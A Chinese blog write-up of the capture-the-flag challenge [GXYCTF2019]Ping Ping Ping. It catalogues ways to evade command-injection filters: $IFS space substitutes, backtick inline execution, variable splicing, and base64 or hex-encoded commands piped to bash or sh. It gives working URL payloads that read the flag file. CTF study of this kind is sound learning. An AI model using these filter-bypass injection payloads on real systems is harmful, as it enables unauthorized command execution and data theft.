命令执行绕过 [GXYCTF2019]Ping Ping Ping1

参考原文:CTFWeb-命令执行漏洞过滤的绕过姿势_绕过空格过滤_Tr0e的博客-CSDN博客文章目录前言CTF题目绕过姿势命令联合执行关键词的绕过内联执行绕过多种解法变量拼接内联执行Base64编码总结前言为了备战(划水)5 月份广东省的 “红帽杯” 网络安全竞赛,继续开始到 BUUCTF 平台练习 CTF 题目。在去年参加的第四届强网杯全国网络安全竞赛中,就遇到过命令执行漏洞绕过的题目 CTF解题-2020年强网杯参赛WriteUp(题目名称 “主动” ),当时采用了 base64 编码联合反引号、变量拼接两种方式绕过了 flag 关键字的过滤并读取了 flag 值:本文目的在于结合 BU_绕过空格过滤https://blog.csdn.net/weixin_39190897/article/details/116247765

这里讲三种绕过命令执行的姿势

1.反引号绕过或者内联执行绕过

使用内联执行可以将` `内的输出作为前面命令的输入

所以cat$IFS$1`ls`也相当于cat falg.php;cat index.php

2.变量赋值绕过

通过变量赋值,再进行拼接,即可进行绕过

如:$a=fl;$b=ag;cat $a$b.php

       payload1;a=ag.php;b=fl;cat$IFS$1$b$a

3.利用编码和符号绕过

Linux下,绕过空格有

${IFS}                        cat${IFS}flag.txt

$IFS$1                      cat$IFS$1flag.txt

$IFS                          cat$IFSflag.txt

<                               cat<flag.txt

<>                             cat<>flag.txt

{cat flag.php}

%20                          cat%20flag.txt

%09                          cat%09flag.txt

\  反斜杠                    ca\t fl\ag.txt

''   单引号                   cat fl''ag.txt

 `` 反引号                   cat$IFS$1`ls`

base64:

bash和sh是用来执行命令的,

echo YWJjZGU=|base64 -d //打印出来abcde

echo Y2F0IGZhbGcucGhw|base64 -d|bash          //cat flag.php

echo Y2F0IGZhbGcucGhw|base64 -d|sh              //cat flag.php

hex编码绕过:

echo 63617420666c61672e706870 | xxd -r -p|bash //cat flag.php

unicode编码

$(printf “\154\163”) //ls

$(printf “\x63\x61\x74\x20\x66\x6c\x61\x67\x2e\x70\x68\x70”) //cat flag.php

题目来源:BUUCTF [GXYCTF2019]Ping Ping Ping

拿到题目

我们用  ?ip=127.0.0.1;ls

我们再用命令 ?ip=127.0.0.1;cat flag.php

发现空格space被过滤掉了,我们可以尝试绕过空格

发现用${IFS}$命令也不行,那我们尝试用其他方法

发现过滤了{}符号symbol,于是我们用$IFS$命令

发现过滤了flag字符

那我们就尝试访问index.php

 发现过滤了很多符号

如:

& / ? * < x{00}-\x{1f} ' " \ () [] {}  空格
"xxxfxxxlxxxaxxxgxxx" " " "bash"

那我们采用变量赋值的方法绕过

payload:?ip=127.0.0.1;a=ag;cat$IFS$1fl$a.php

?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php

查看源码得到

其他方法:

内联执行绕过(将后面命令的输出作为前面命令的输入)

payload:?ip=127.0.0.1|cat$IFS$1`ls`

Base64编码绕过

payload:?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

echo Y2F0IGZhbGcucGhw|base64 -d|sh

        
 

类似题目解题方法总结

cat fl*  用*匹配任意 
cat fla* 用*匹配任意
ca\t fla\g.php        反斜线绕过
cat fl''ag.php        两个单引号绕过
echo "Y2F0IGZsYWcucGhw" | base64 -d | bash      
//base64编码绕过(引号可以去掉)  |(管道符) 会把前一个命令的输出作为后一个命令的参数

echo "63617420666c61672e706870" | xxd -r -p | bash       
//hex编码绕过(引号可以去掉)

echo "63617420666c61672e706870" | xxd -r -p | sh     
//sh的效果和bash一样

cat fl[a]g.php       用[]匹配

a=fl;b=ag;cat $a$b          变量替换
cp fla{g.php,G}    把flag.php复制为flaG
ca${21}t a.txt     利用空变量  使用$*和$@,$x(x 代表 1-9),${x}(x>=10)(小于 10 也是可以的) 因为在没有传参的情况下,上面的特殊变量都是为空的 
  • 1
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值